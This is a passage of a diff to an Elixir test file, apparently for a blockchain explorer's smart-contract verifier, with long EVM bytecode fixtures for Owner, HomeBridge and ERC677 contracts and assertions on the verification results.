5282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff161561048e5760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b60015460408051600160e01b63facd743b02815233600482015290516001600160a01b039092169163facd743b91602480820192602092909190829003018186803b1580156104dc57600080fd5b505afa1580156104f0573d6000803e3d6000fd5b505050506040513d602081101561050657600080fd5b505161054657604051600160e51b62461bcd028152600401808060200182810382526026815260200180610a616026913960400191505060405180910390fd5b6001600160a01b03821661058e57604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b600083116105e65760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b6105f0813361079f565b156106485760408051868152602081018690528082018590526001600160a01b0384166060820152905133917fdee96a12459a8c17d4cf9571d9ab18de19fa1055adff514e2d25595382d218df919081900360800190a25b61065181610830565b1561070557600081815260208190526040812060028101805460ff19166001908117909155610682929101906109da565b6040516000906001600160a01b0384169085156108fc0290869084818181858888f1604080518c8152602081018c90528082018b90526001600160a01b038a166060820152821515608082015290519196507f546c8621785b0cc9f951c75b68621fbdfce93ba6df3943b1271813c3598852d1955081900360a0019350915050a1505b5050505050565b60006064600254600160009054906101000a90046001600160a01b03166001600160a01b031663d6832ea96040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d602081101561078b57600080fd5b5051026063018161079857fe5b0490505b90565b6000828152602081815260408083206001600160a01b038516845290915281205460ff16156107d05750600061082a565b506000828152602081815260408083206001600160a01b038516808552818452918420805460ff19166001908117909155848452908101805480830182559085529290932090910180546001600160a01b03191690911790555b92915050565b60008061083b61070c565b600084815260208190526040902060010154909150811115610861576000915050610893565b61086a83610898565b60008381526020819052604090206001015481111561088d576000915050610893565b60019150505b919050565b6000818152602081905260408120600101905b81548110156109d55760015482546001600160a01b039091169063facd743b908490849081106108d757fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561092057600080fd5b505afa158015610934573d6000803e3d6000fd5b505050506040513d602081101561094a57600080fd5b505115610959576001016109d0565b81548290600019810190811061096b57fe5b9060005260206000200160009054906101000a90046001600160a01b031682828154811061099557fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905581546109ce8360001983016109fb565b505b6108ab565b505050565b50805460008255906000526020600020908101906109f89190610a1b565b50565b8154818355818111156109d5576000838152602090206109d59181019083015b61079c91905b80821115610a355760008155600101610a21565b509056fe726563697069656e74206d757374206e6f7420626520746865207a65726f2061646472657373216d7573742062652076616c696461746f7220746f20636f6e6669726d207472616e7366657273a165627a7a7230582034f1dd7d09db2ab8295f85e72b0543ef67ff431b2d624264cea6c7a9ce4e1f1900295f76616c696461746f7273526571756972656450657263656e74206d757374206265206265747765656e203020616e642031303070726f7879206d757374206e6f7420626520746865207a65726f206164647265737321000000000000000000000000fb5a36f0e12cef9f88d95f0e02cad4ba183336dc0000000000000000000000000000000000000000000000000000000000000032" - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.8+commit.dddeac2f", - "evm_version" => "default", - "name" => "Owner", - "optimization" => false, - "autodetect_constructor_args" => true - } + deployed_bytecode = + "0x6080604052600436106100555760003560e01c806305dab2881461005a5780630b1ec76014610081578063236459c7146100b2578063397bc6411461010b578063b60d428814610135578063f176cde71461013f575b600080fd5b34801561006657600080fd5b5061006f610184565b60408051918252519081900360200190f35b34801561008d57600080fd5b5061009661018a565b604080516001600160a01b039092168252519081900360200190f35b3480156100be57600080fd5b506100f7600480360360808110156100d557600080fd5b50803590602081013590604081013590606001356001600160a01b0316610199565b604080519115158252519081900360200190f35b34801561011757600080fd5b506100f76004803603602081101561012e57600080fd5b50356103c7565b61013d6103df565b005b34801561014b57600080fd5b5061013d6004803603608081101561016257600080fd5b50803590602081013590604081013590606001356001600160a01b03166103e1565b60025481565b6001546001600160a01b031681565b60006001600160a01b0382166101e357604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b6000831161023b5760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b60408051602080820188905281830187905260608083018790526001600160a01b038616901b608083015282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff16156102e85760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b600081815260208190526040812060010190805b82548110156103b15760015483546001600160a01b039091169063facd743b9085908490811061032857fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561037157600080fd5b505afa158015610385573d6000803e3d6000fd5b505050506040513d602081101561039b57600080fd5b5051156103a9576001820191505b6001016102fc565b506103ba61070c565b1115979650505050505050565b60006020819052908152604090206002015460ff1681565b565b60408051602080820187905281830186905260608083018690526001600160a01b038516901b608083015282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff161561048e5760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b60015460408051600160e01b63facd743b02815233600482015290516001600160a01b039092169163facd743b91602480820192602092909190829003018186803b1580156104dc57600080fd5b505afa1580156104f0573d6000803e3d6000fd5b505050506040513d602081101561050657600080fd5b505161054657604051600160e51b62461bcd028152600401808060200182810382526026815260200180610a616026913960400191505060405180910390fd5b6001600160a01b03821661058e57604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b600083116105e65760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b6105f0813361079f565b156106485760408051868152602081018690528082018590526001600160a01b0384166060820152905133917fdee96a12459a8c17d4cf9571d9ab18de19fa1055adff514e2d25595382d218df919081900360800190a25b61065181610830565b1561070557600081815260208190526040812060028101805460ff19166001908117909155610682929101906109da565b6040516000906001600160a01b0384169085156108fc0290869084818181858888f1604080518c8152602081018c90528082018b90526001600160a01b038a166060820152821515608082015290519196507f546c8621785b0cc9f951c75b68621fbdfce93ba6df3943b1271813c3598852d1955081900360a0019350915050a1505b5050505050565b60006064600254600160009054906101000a90046001600160a01b03166001600160a01b031663d6832ea96040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d602081101561078b57600080fd5b5051026063018161079857fe5b0490505b90565b6000828152602081815260408083206001600160a01b038516845290915281205460ff16156107d05750600061082a565b506000828152602081815260408083206001600160a01b038516808552818452918420805460ff19166001908117909155848452908101805480830182559085529290932090910180546001600160a01b03191690911790555b92915050565b60008061083b61070c565b600084815260208190526040902060010154909150811115610861576000915050610893565b61086a83610898565b60008381526020819052604090206001015481111561088d576000915050610893565b60019150505b919050565b6000818152602081905260408120600101905b81548110156109d55760015482546001600160a01b039091169063facd743b908490849081106108d757fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561092057600080fd5b505afa158015610934573d6000803e3d6000fd5b505050506040513d602081101561094a57600080fd5b505115610959576001016109d0565b81548290600019810190811061096b57fe5b9060005260206000200160009054906101000a90046001600160a01b031682828154811061099557fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905581546109ce8360001983016109fb565b505b6108ab565b505050565b50805460008255906000526020600020908101906109f89190610a1b565b50565b8154818355818111156109d5576000838152602090206109d59181019083015b61079c91905b80821115610a355760008155600101610a21565b509056fe726563697069656e74206d757374206e6f7420626520746865207a65726f2061646472657373216d7573742062652076616c696461746f7220746f20636f6e6669726d207472616e7366657273a165627a7a7230582034f1dd7d09db2ab8295f85e72b0543ef67ff431b2d624264cea6c7a9ce4e1f190029" - assert {:error, :no_creation_data} = Verifier.evaluate_authenticity(contract_address.hash, params) - end + contract_address = insert(:contract_address, contract_code: deployed_bytecode) - test "return {:error, :deployed_bytecode}" do - contract_source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5431.sol" - |> File.read!() - - contract_creation_code = - "0x608060405234801561001057600080fd5b506040516104e13803806104e183398181016040528101906100329190610165565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a350506101a5565b600080fd5b6000819050919050565b61010c816100f9565b811461011757600080fd5b50565b60008151905061012981610103565b92915050565b6000819050919050565b6101428161012f565b811461014d57600080fd5b50565b60008151905061015f81610139565b92915050565b6000806040838503121561017c5761017b6100f4565b5b600061018a8582860161011a565b925050602061019b85828601610150565b9150509250929050565b61032d806101b46000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063893d20e81461003b578063a6f9dae114610059575b600080fd5b610043610075565b604051610050919061022a565b60405180910390f35b610073600480360381019061006e9190610276565b61009e565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461012c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161012390610300565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73560405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610214826101e9565b9050919050565b61022481610209565b82525050565b600060208201905061023f600083018461021b565b92915050565b600080fd5b61025381610209565b811461025e57600080fd5b50565b6000813590506102708161024a565b92915050565b60006020828403121561028c5761028b610245565b5b600061029a84828501610261565b91505092915050565b600082825260208201905092915050565b7f43616c6c6572206973206e6f74206f776e657200000000000000000000000000600082015250565b60006102ea6013836102a3565b91506102f5826102b4565b602082019050919050565b60006020820190508181036000830152610319816102dd565b905091905056fea164736f6c6343000808000afffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040000000000000000000000000000000000000000000000000000000000005886" - - contract_address = insert(:contract_address, contract_code: "0x") - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: contract_creation_code - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => contract_source_code, - "compiler_version" => "v0.8.8+commit.dddeac2f", - "evm_version" => "default", - "name" => "Owner", - "optimization" => false, - "autodetect_constructor_args" => true - } - - assert {:error, :deployed_bytecode} = Verifier.evaluate_authenticity(contract_address.hash, params) - end - end + input_data = %Data{ + bytes: Base.decode16!(input, case: :lower) + } - describe "tests from constructor_arguments_test.exs" do - test "verifies with require messages" do - source_code = - "#{File.cwd!()}/test/support/fixture/smart_contract/home_bridge.sol" - |> File.read!() - - constructor_arguments = - "000000000000000000000000fb5a36f0e12cef9f88d95f0e02cad4ba183336dc0000000000000000000000000000000000000000000000000000000000000032" + :transaction + |> insert(created_contract_address_hash: contract_address.hash, input: input_data) + |> with_block(status: :ok) - input = - "608060405234801561001057600080fd5b50604051604080610c2e8339810180604052604081101561003057600080fd5b5080516020909101516001600160a01b038216610098576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610c0b6023913960400191505060405180910390fd5b60648111156100f2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180610bd76034913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b039390931692909217909155600255610ab2806101256000396000f3fe6080604052600436106100555760003560e01c806305dab2881461005a5780630b1ec76014610081578063236459c7146100b2578063397bc6411461010b578063b60d428814610135578063f176cde71461013f575b600080fd5b34801561006657600080fd5b5061006f610184565b60408051918252519081900360200190f35b34801561008d57600080fd5b5061009661018a565b604080516001600160a01b039092168252519081900360200190f35b3480156100be57600080fd5b506100f7600480360360808110156100d557600080fd5b50803590602081013590604081013590606001356001600160a01b0316610199565b604080519115158252519081900360200190f35b34801561011757600080fd5b506100f76004803603602081101561012e57600080fd5b50356103c7565b61013d6103df565b005b34801561014b57600080fd5b5061013d6004803603608081101561016257600080fd5b50803590602081013590604081013590606001356001600160a01b03166103e1565b60025481565b6001546001600160a01b031681565b60006001600160a01b0382166101e357604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b6000831161023b5760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b60408051602080820188905281830187905260608083018790526001600160a01b038616901b608083015282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff16156102e85760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b600081815260208190526040812060010190805b82548110156103b15760015483546001600160a01b039091169063facd743b9085908490811061032857fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561037157600080fd5b505afa158015610385573d6000803e3d6000fd5b505050506040513d602081101561039b57600080fd5b5051156103a9576001820191505b6001016102fc565b506103ba61070c565b1115979650505050505050565b60006020819052908152604090206002015460ff1681565b565b60408051602080820187905281830186905260608083018690526001600160a01b038516901b608083015282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff161561048e5760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b60015460408051600160e01b63facd743b02815233600482015290516001600160a01b039092169163facd743b91602480820192602092909190829003018186803b1580156104dc57600080fd5b505afa1580156104f0573d6000803e3d6000fd5b505050506040513d602081101561050657600080fd5b505161054657604051600160e51b62461bcd028152600401808060200182810382526026815260200180610a616026913960400191505060405180910390fd5b6001600160a01b03821661058e57604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b600083116105e65760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b6105f0813361079f565b156106485760408051868152602081018690528082018590526001600160a01b0384166060820152905133917fdee96a12459a8c17d4cf9571d9ab18de19fa1055adff514e2d25595382d218df919081900360800190a25b61065181610830565b1561070557600081815260208190526040812060028101805460ff19166001908117909155610682929101906109da565b6040516000906001600160a01b0384169085156108fc0290869084818181858888f1604080518c8152602081018c90528082018b90526001600160a01b038a166060820152821515608082015290519196507f546c8621785b0cc9f951c75b68621fbdfce93ba6df3943b1271813c3598852d1955081900360a0019350915050a1505b5050505050565b60006064600254600160009054906101000a90046001600160a01b03166001600160a01b031663d6832ea96040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d602081101561078b57600080fd5b5051026063018161079857fe5b0490505b90565b6000828152602081815260408083206001600160a01b038516845290915281205460ff16156107d05750600061082a565b506000828152602081815260408083206001600160a01b038516808552818452918420805460ff19166001908117909155848452908101805480830182559085529290932090910180546001600160a01b03191690911790555b92915050565b60008061083b61070c565b600084815260208190526040902060010154909150811115610861576000915050610893565b61086a83610898565b60008381526020819052604090206001015481111561088d576000915050610893565b60019150505b919050565b6000818152602081905260408120600101905b81548110156109d55760015482546001600160a01b039091169063facd743b908490849081106108d757fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561092057600080fd5b505afa158015610934573d6000803e3d6000fd5b505050506040513d602081101561094a57600080fd5b505115610959576001016109d0565b81548290600019810190811061096b57fe5b9060005260206000200160009054906101000a90046001600160a01b031682828154811061099557fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905581546109ce8360001983016109fb565b505b6108ab565b505050565b50805460008255906000526020600020908101906109f89190610a1b565b50565b8154818355818111156109d5576000838152602090206109d59181019083015b61079c91905b80821115610a355760008155600101610a21565b509056fe726563697069656e74206d757374206e6f7420626520746865207a65726f2061646472657373216d7573742062652076616c696461746f7220746f20636f6e6669726d207472616e7366657273a165627a7a7230582034f1dd7d09db2ab8295f85e72b0543ef67ff431b2d624264cea6c7a9ce4e1f1900295f76616c696461746f7273526571756972656450657263656e74206d757374206265206265747765656e203020616e642031303070726f7879206d757374206e6f7420626520746865207a65726f206164647265737321000000000000000000000000fb5a36f0e12cef9f88d95f0e02cad4ba183336dc0000000000000000000000000000000000000000000000000000000000000032" + params = %{ + "contract_source_code" => source_code, + "compiler_version" => "v0.5.8+commit.23d335f2", + "evm_version" => "default", + "name" => "HomeBridge", + "optimization" => true, + "optimization_runs" => @optimization_runs, + "autodetect_constructor_args" => true + } - deployed_bytecode = - "0x6080604052600436106100555760003560e01c806305dab2881461005a5780630b1ec76014610081578063236459c7146100b2578063397bc6411461010b578063b60d428814610135578063f176cde71461013f575b600080fd5b34801561006657600080fd5b5061006f610184565b60408051918252519081900360200190f35b34801561008d57600080fd5b5061009661018a565b604080516001600160a01b039092168252519081900360200190f35b3480156100be57600080fd5b506100f7600480360360808110156100d557600080fd5b50803590602081013590604081013590606001356001600160a01b0316610199565b604080519115158252519081900360200190f35b34801561011757600080fd5b506100f76004803603602081101561012e57600080fd5b50356103c7565b61013d6103df565b005b34801561014b57600080fd5b5061013d6004803603608081101561016257600080fd5b50803590602081013590604081013590606001356001600160a01b03166103e1565b60025481565b6001546001600160a01b031681565b60006001600160a01b0382166101e357604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b6000831161023b5760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b60408051602080820188905281830187905260608083018790526001600160a01b038616901b608083015282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff16156102e85760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b600081815260208190526040812060010190805b82548110156103b15760015483546001600160a01b039091169063facd743b9085908490811061032857fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561037157600080fd5b505afa158015610385573d6000803e3d6000fd5b505050506040513d602081101561039b57600080fd5b5051156103a9576001820191505b6001016102fc565b506103ba61070c565b1115979650505050505050565b60006020819052908152604090206002015460ff1681565b565b60408051602080820187905281830186905260608083018690526001600160a01b038516901b608083015282516074818403018152609490920183528151918101919091206000818152918290529190206002015460ff161561048e5760408051600160e51b62461bcd02815260206004820152601a60248201527f7472616e7366657220616c726561647920636f6d706c65746564000000000000604482015290519081900360640190fd5b60015460408051600160e01b63facd743b02815233600482015290516001600160a01b039092169163facd743b91602480820192602092909190829003018186803b1580156104dc57600080fd5b505afa1580156104f0573d6000803e3d6000fd5b505050506040513d602081101561050657600080fd5b505161054657604051600160e51b62461bcd028152600401808060200182810382526026815260200180610a616026913960400191505060405180910390fd5b6001600160a01b03821661058e57604051600160e51b62461bcd028152600401808060200182810382526027815260200180610a3a6027913960400191505060405180910390fd5b600083116105e65760408051600160e51b62461bcd02815260206004820152601760248201527f616d6f756e74206d757374206e6f74206265207a65726f000000000000000000604482015290519081900360640190fd5b6105f0813361079f565b156106485760408051868152602081018690528082018590526001600160a01b0384166060820152905133917fdee96a12459a8c17d4cf9571d9ab18de19fa1055adff514e2d25595382d218df919081900360800190a25b61065181610830565b1561070557600081815260208190526040812060028101805460ff19166001908117909155610682929101906109da565b6040516000906001600160a01b0384169085156108fc0290869084818181858888f1604080518c8152602081018c90528082018b90526001600160a01b038a166060820152821515608082015290519196507f546c8621785b0cc9f951c75b68621fbdfce93ba6df3943b1271813c3598852d1955081900360a0019350915050a1505b5050505050565b60006064600254600160009054906101000a90046001600160a01b03166001600160a01b031663d6832ea96040518163ffffffff1660e01b815260040160206040518083038186803b15801561076157600080fd5b505afa158015610775573d6000803e3d6000fd5b505050506040513d602081101561078b57600080fd5b5051026063018161079857fe5b0490505b90565b6000828152602081815260408083206001600160a01b038516845290915281205460ff16156107d05750600061082a565b506000828152602081815260408083206001600160a01b038516808552818452918420805460ff19166001908117909155848452908101805480830182559085529290932090910180546001600160a01b03191690911790555b92915050565b60008061083b61070c565b600084815260208190526040902060010154909150811115610861576000915050610893565b61086a83610898565b60008381526020819052604090206001015481111561088d576000915050610893565b60019150505b919050565b6000818152602081905260408120600101905b81548110156109d55760015482546001600160a01b039091169063facd743b908490849081106108d757fe5b600091825260209182902001546040805163ffffffff851660e01b81526001600160a01b0390921660048301525160248083019392829003018186803b15801561092057600080fd5b505afa158015610934573d6000803e3d6000fd5b505050506040513d602081101561094a57600080fd5b505115610959576001016109d0565b81548290600019810190811061096b57fe5b9060005260206000200160009054906101000a90046001600160a01b031682828154811061099557fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905581546109ce8360001983016109fb565b505b6108ab565b505050565b50805460008255906000526020600020908101906109f89190610a1b565b50565b8154818355818111156109d5576000838152602090206109d59181019083015b61079c91905b80821115610a355760008155600101610a21565b509056fe726563697069656e74206d757374206e6f7420626520746865207a65726f2061646472657373216d7573742062652076616c696461746f7220746f20636f6e6669726d207472616e7366657273a165627a7a7230582034f1dd7d09db2ab8295f85e72b0543ef67ff431b2d624264cea6c7a9ce4e1f190029" + assert {:ok, + %{ + abi: abi, + constructor_arguments: ^constructor_arguments + }} = Verifier.evaluate_authenticity(contract_address.hash, params) - contract_address = insert(:contract_address, contract_code: deployed_bytecode) + assert abi != nil + end - input_data = %Data{ - bytes: Base.decode16!(input, case: :lower) - } + test "verifies with string in keccak256" do + source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/ERC677.sol" + |> File.read!() - :transaction - |> insert(created_contract_address_hash: contract_address.hash, input: input_data) - |> with_block(status: :ok) + input = + "60806040523480156200001157600080fd5b5060405162002f3f38038062002f3f833981810160405260a08110156200003757600080fd5b8101908080516401000000008111156200005057600080fd5b820160208101848111156200006457600080fd5b81516401000000008111828201871017156200007f57600080fd5b505092919060200180516401000000008111156200009c57600080fd5b82016020810184811115620000b057600080fd5b8151640100000000811182820187101715620000cb57600080fd5b50506020820151604080840151606090940151600080546001600160a01b031916331780825592519497509295509287928792879287928792879287926012928592859285926001600160a01b0316917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a38251620001559060049060208601906200058d565b5081516200016b9060059060208501906200058d565b506006805460ff191660ff92909216919091179055505060405180605262002eed8239604080519182900360520182208651602097880120838301835260018085527f310000000000000000000000000000000000000000000000000000000000000094890194909452825180890192909252818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101929092523060a0808401919091528151808403909101815260c090920190528051908501206007555062000257926001600160a01b038716925062001e46620003ec821b17901c9050565b80156200027e57506200027e826001600160a01b0316620003ec60201b62001e461760201c565b8015620002a55750620002a5816001600160a01b0316620003ec60201b62001e461760201c565b6200031157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6e6f74206120636f6e7472616374206164647265737300000000000000000000604482015290519081900360640190fd5b607b6200032884826001600160e01b03620003f216565b600a80546001600160a01b038087166001600160a01b03199283168117909355600b8054878316908416179055600c8054918616919092161790556040805183815290517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859181900360200190a250506001600160a01b036000819052600d6020527fa934977eb9828ba1f50591af02c98441645b4f0e916e0fecb4cc8e9c633dade280546001600160a01b03191690911790555062000632975050505050505050565b3b151590565b6001600160a01b0382166200046857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b62000484816003546200051160201b62001de51790919060201c565b6003556001600160a01b038216600090815260016020908152604090912054620004b991839062001de562000511821b17901c565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000828201838110156200058657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620005d057805160ff191683800117855562000600565b8280016001018555821562000600579182015b8281111562000600578251825591602001919060010190620005e3565b506200060e92915062000612565b5090565b6200062f91905b808211156200060e576000815560010162000619565b90565b6128ab80620006426000396000f3fe608060405234801561001057600080fd5b50600436106102325760003560e01c8063726600ce11610130578063a457c2d7116100b8578063dd62ed3e1161007c578063dd62ed3e1461075f578063f2d5d56b1461078d578063f2fde38b146107b9578063fbb2a53f146107df578063ff9e884d146107e757610232565b8063a457c2d71461069d578063a9059cbb146106c9578063b753a98c146106f5578063bb35783b14610721578063c794c7691461075757610232565b80638f32d59b116100ff5780638f32d59b146105b55780638fcbaf0c146105bd57806395d89b41146106175780639712fdf81461061f5780639da38e2f1461064557610232565b8063726600ce146105595780637a13685a1461057f5780637ecebe00146105875780638da5cb5b146105ad57610232565b806337fb7e21116101be57806354fd4d501161018257806354fd4d50146104ed57806369ffa08a146104f55780636e15d21b1461052357806370a082311461052b578063715018a61461055157610232565b806337fb7e21146103c657806339509351146103ea5780634000aea01461041657806340c10f191461049b5780634bcb88bc146104c757610232565b8063238a3fe111610205578063238a3fe11461033657806323b872dd1461036257806330adf81f14610398578063313ce567146103a05780633644e515146103be57610232565b806304df017d1461023757806306fdde031461025f578063095ea7b3146102dc57806318160ddd1461031c575b600080fd5b61025d6004803603602081101561024d57600080fd5b50356001600160a01b0316610815565b005b610267610a56565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102a1578181015183820152602001610289565b50505050905090810190601f1680156102ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610308600480360360408110156102f257600080fd5b506001600160a01b038135169060200135610aec565b604080519115158252519081900360200190f35b610324610b02565b60408051918252519081900360200190f35b6103086004803603604081101561034c57600080fd5b506001600160a01b038135169060200135610b08565b6103086004803603606081101561037857600080fd5b506001600160a01b03813581169160208101359091169060400135610b8d565b610324610baf565b6103a8610bd3565b6040805160ff9092168252519081900360200190f35b610324610bdc565b6103ce610be2565b604080516001600160a01b039092168252519081900360200190f35b6103086004803603604081101561040057600080fd5b506001600160a01b038135169060200135610bf1565b6103086004803603606081101561042c57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561045c57600080fd5b82018360208201111561046e57600080fd5b8035906020019184600183028401116401000000008311171561049057600080fd5b509092509050610c32565b610308600480360360408110156104b157600080fd5b506001600160a01b038135169060200135610dd2565b6103ce600480360360208110156104dd57600080fd5b50356001600160a01b0316610e80565b610267610e9b565b61025d6004803603604081101561050b57600080fd5b506001600160a01b0381358116916020013516610eb8565b6103ce611083565b6103246004803603602081101561054157600080fd5b50356001600160a01b0316611092565b61025d6110ad565b6103086004803603602081101561056f57600080fd5b50356001600160a01b0316611133565b6103ce61116d565b6103246004803603602081101561059d57600080fd5b50356001600160a01b031661117c565b6103ce61118e565b61030861119d565b61025d60048036036101008110156105d457600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608081013515159060ff60a0820135169060c08101359060e001356111ae565b610267611446565b61025d6004803603602081101561063557600080fd5b50356001600160a01b03166114a7565b61064d6116e6565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610689578181015183820152602001610671565b505050509050019250505060405180910390f35b610308600480360360408110156106b357600080fd5b506001600160a01b03813516906020013561182a565b610308600480360360408110156106df57600080fd5b506001600160a01b038135169060200135611866565b61025d6004803603604081101561070b57600080fd5b506001600160a01b03813516906020013561187d565b61025d6004803603606081101561073757600080fd5b506001600160a01b03813581169160208101359091169060400135611888565b6103ce611899565b6103246004803603604081101561077557600080fd5b506001600160a01b03813581169160200135166118a4565b61025d600480360360408110156107a357600080fd5b506001600160a01b0381351690602001356118cf565b61025d600480360360208110156107cf57600080fd5b50356001600160a01b03166118da565b61032461192d565b610324600480360360408110156107fd57600080fd5b506001600160a01b0381358116916020013516611933565b61081d61119d565b61085c576040805162461bcd60e51b8152602060048201819052602482015260008051602061273b833981519152604482015290519081900360640190fd5b61086581611133565b6108ad576040805162461bcd60e51b8152602060048201526014602482015273189c9a5919d9481a5cdb89dd08195e1a5cdd195960621b604482015290519081900360640190fd5b6001600160a01b038082166000908152600d6020526040812054908290526000805160206126cb833981519152549082169190811680610929576040805162461bcd60e51b81526020600482015260126024820152711e995c9bc81859191c995cdcc8199bdd5b9960721b604482015290519081900360640190fd5b836001600160a01b0316816001600160a01b0316146109c8576001600160a01b038082166000908152600d602052604090205491925090811690811480159061097a57506001600160a01b03811615155b6109c3576040805162461bcd60e51b81526020600482015260156024820152741a5b9d985b1a59081859191c995cdcc8199bdd5b99605a1b604482015290519081900360640190fd5b610929565b6001600160a01b038083166000908152600d602052604080822080548488166001600160a01b0319918216179091559287168252902080549091169055600e54610a1990600163ffffffff61195016565b600e556040516001600160a01b038516907f5d9d5034656cb3ebfb0655057cd7f9b4077a9b42ff42ce223cbac5bc586d212690600090a250505050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae25780601f10610ab757610100808354040283529160200191610ae2565b820191906000526020600020905b815481529060010190602001808311610ac557829003601f168201915b5050505050905090565b6000610af93384846119ad565b50600192915